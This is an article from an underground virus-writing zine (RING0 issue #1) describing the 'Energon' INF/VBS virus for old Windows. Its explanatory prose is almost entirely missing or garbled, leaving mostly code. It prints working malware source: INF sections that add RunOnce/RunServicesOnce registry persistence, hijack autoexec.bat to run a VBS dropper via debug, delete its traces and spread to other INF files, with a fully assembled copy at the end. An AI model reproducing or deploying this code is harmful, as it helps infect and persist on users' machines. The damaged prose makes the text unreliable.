
 /*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                         Energon INF   VBS

                                                          by VOVAN // SMF

        INF-  Windows,  .. *.inf 
         ,    ,  
     Windows    INF-    , 
 -.

        inf-      
 VBS              
 Windows    [Host_Energon.File]   .

 [Host_Energon.File]
 Energon.inf, <  >

    [DestinationDirs]         
 ,        ..

 [DestinationDirs]
 Host_Energon.File  = 10        ; WINDOWS
 Copy_Auto_Bak.Ren  = 30        ; C:\
 Rename_bat_vbs.Ren = 30        ; C:\
 Ren_bak_bat.Ren    = 30        ; C:\

     ,    

 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Install_Energon 64 %10%\energon.inf"

      

 RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Install_Energon 64 %10%\energon.inf

                Windows      
 [Install_Energon]  %10%\energon.inf ,  %10%    
 Windows        .

  [Install_Energon]    

 [Install_Energon]
 UpdateInis = Energon_dump
 RenFiles = Copy_Auto_Bak.Ren
 UpdateAutoBat = Energon_Attach
 AddReg = Run_Ren_Auto_Bat.reg

  

 UpdateInis = Energon_dump

    UpdateInis        ini-  
     enr.drv   Windows ..  
     ,  Windows     
  Energon_dump

  [Energon_dump]    

 [Energon_dump]
 %10%\enr.drv,-,,"N %10%\ENERGON.VBS"
 %10%\enr.drv,-,,".........................................."
 %10%\enr.drv,-,,".........................................."
 %10%\enr.drv,-,,".........................................."

 

 %10%\enr.drv,-,,"...."

 %10%     -  Windows
 \enr.drv -      (    
             )
 ,-,,     -    ini-  "-"    
 "...."   -   

        [Energon_dump]   Windows 
    enr.drv     

         [Install_Energon]

 RenFiles = Copy_Auto_Bak.Ren

   RenFiles    .
                        
 Copy_Auto_Bak.Ren

  [Copy_Auto_Bak.Ren]    

 [Copy_Auto_Bak.Ren]
 autoexec.bak,autoexec.bat

          ,    ..  autoexec.bat
   autoexec.bak

         [Install_Energon]

 UpdateAutoBat = Energon_Attach

     UpdateAutoBat              
 autoexec.bat      ..            [Copy_Auto_Bak.Ren]
 autoexec.bat        autoexec.bak  autoexec.bat  ,
   UpdateAutoBat       autoexec.bat   
    vbs-                 
 Energon_Attach

  [Energon_Attach]    

 [Energon_Attach]
 CmdAdd="On","Error Resume Next"
 CmdAdd="Set","A=CreateObject(""Scripting.FileSystemObject"")"
 CmdAdd="CreateObject","(""WScript.Shell"").Run (""Command.com /c Debug < %10%\enr.drv""),0"
 CmdAdd="'A.MoveFile","""%30%\autoexec.bak"",""%30%\autoexec.bat"""
 CmdAdd="Do"
 CmdAdd="If","A.FileExists(A.GetSpecialFolder(0)&""\energon.vbs"")<>False Then Exit Do"
 CmdAdd="Loop"
 CmdAdd="CreateObject","(""WScript.Shell"").Run (""%10%\wscript.exe %10%\energon.vbs""),0"
 CmdAdd="A.DeleteFile","(""%10%\enr.drv""),1"
 CmdAdd="A.DeleteFile","(""%30%\tmp.vbs""),1"

   CmdAdd       

         [Install_Energon]

 AddReg = Run_Ren_Auto_Bat.reg

    AddReg          ,
     Run_Ren_Auto_Bat.reg

   [Run_Ren_Auto_Bat.reg]    

 [Run_Ren_Auto_Bat.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Ren_Auto_Bat 64 %10%\energon.inf"

      HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
         , 
        

 RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Ren_Auto_Bat 64 %10%\energon.inf

   [Ren_Auto_Bat]    %10%\energon.inf

  [Ren_Auto_Bat]    

 [Ren_Auto_Bat]
 RenFiles = Rename_bat_vbs.Ren
 AddReg = Rename_bak_bat.reg

  RenFiles = Rename_bat_vbs.Ren    
    Rename_bat_vbs.Ren

 C [Rename_bat_vbs.Ren]    

 [Rename_bat_vbs.Ren]
 tmp.vbs,autoexec.bat

  autoexec.bat   tmp.vbs

     [Ren_Auto_Bat]

 AddReg = Rename_bak_bat.reg

 [Rename_bak_bat.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Ren_bak_bat_run 64 %10%\energon.inf"

     [Ren_bak_bat_run]   %10%\energon.inf

   [Ren_bak_bat_run]    

 [Ren_bak_bat_run]
 RenFiles = Ren_bak_bat.Ren
 AddReg = Run_tmp.reg

  RenFiles = Ren_bak_bat.Ren    
    Ren_bak_bat.Ren

 [Ren_bak_bat.Ren]
 autoexec.bat,autoexec.bak

    autoexec.bak   autoexec.bat, ..  
   .

     [Ren_bak_bat_run]

 AddReg = Run_tmp.reg

 [Run_tmp.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"%10%\wscript.exe %30%\tmp.vbs //B"

        vbs-   tmp.vbs,    
     "Command.com  /c  Debug < %10%\enr.drv"   
      energon.vbs   Windows
       , ..     
    enr.drv   tmp.vbs

     energon.vbs

        energon.inf    Windows
    [Energon_dump]   ";Energon"  
            *.inf
     A:\     HDD   *.inf-   [Version]
 ..        INF- Windows,   ,
        .

            , CopyFiles
      Host_Energon.File,    ,
        ",Host_Energon.File"  , 
 AddReg        Inst_Run,    ,
        ",Inst_Run"     , 
       CopyFiles  AddReg   
   

 CopyFiles = Host_Energon.File
        
 AddReg = Inst_Run

        [DestinationDirs]     
     ,   .

 Host_Energon.File  = 10        ; WINDOWS
 Copy_Auto_Bak.Ren  = 30        ; C:\
 Rename_bat_vbs.Ren = 30        ; C:\
 Ren_bak_bat.Ren    = 30        ; C:\

          [DefaultInstall]     
 

 CopyFiles = Host_Energon.File
 AddReg = Inst_Run

     inf-      inf-
         ""

  [DefaultInstall]  ,   .

            -       
    ,    .

 [Inst_Run]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Install_Energon 64 %10%\energon.inf"
 [Install_Energon]
 UpdateInis = Energon_dump
 RenFiles  = Copy_Auto_Bak.Ren
 UpdateAutoBat = Energon_Attach
 AddReg = Run_Ren_Auto_Bat.reg
 [Copy_Auto_Bak.Ren]
 autoexec.bak,autoexec.bat
 [Run_Ren_Auto_Bat.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Ren_Auto_Bat 64 %10%\energon.inf"
 [Ren_Auto_Bat]
 RenFiles = Rename_bat_vbs.Ren
 AddReg = Rename_bak_bat.reg
 [Rename_bat_vbs.Ren]
 tmp.vbs,autoexec.bat
 [Rename_bak_bat.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"RUNDLL.EXE %11%\setupx.dll,InstallHinfSection Ren_bak_bat_run 64 %10%\energon.inf"
 [Ren_bak_bat_run]
 RenFiles = Ren_bak_bat.Ren
 AddReg = Run_tmp.reg
 [Ren_bak_bat.Ren]
 autoexec.bat,autoexec.bak
 [Run_tmp.reg]
 HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce,Run,,"%10%\wscript.exe %30%\tmp.vbs //B"
 [Host_Energon.File]
 Energon.inf, Energon.inf
 [Energon_Attach]
 CmdAdd="On","Error Resume Next"
 CmdAdd="Set","A=CreateObject(""Scripting.FileSystemObject"")"
 CmdAdd="Set","B=CreateObject(""WScript.Shell"")"
 CmdAdd="B.Run",""(""Command.com /c Debug < %10%\enr.drv""),0"
 CmdAdd="Do"
 CmdAdd="If","A.FileExists(A.GetSpecialFolder(0)&""\energon.vbs"")<>False Then Exit Do"
 CmdAdd="Loop"
 CmdAdd="B.Run","(""%10%\wscript.exe %10%\energon.vbs""),0"
 CmdAdd="A.DeleteFile","(""%10%\enr.drv""),1"
 CmdAdd="A.DeleteFile","(""%30%\tmp.vbs""),1"

       energon.inf  

 [Energon_dump]
 ......................
  
 ......................
 ;Energon

   -
      
        inf-      energon.inf    
 energon.vbs   Windows.

 Energon.a  .
 Energon.b  .
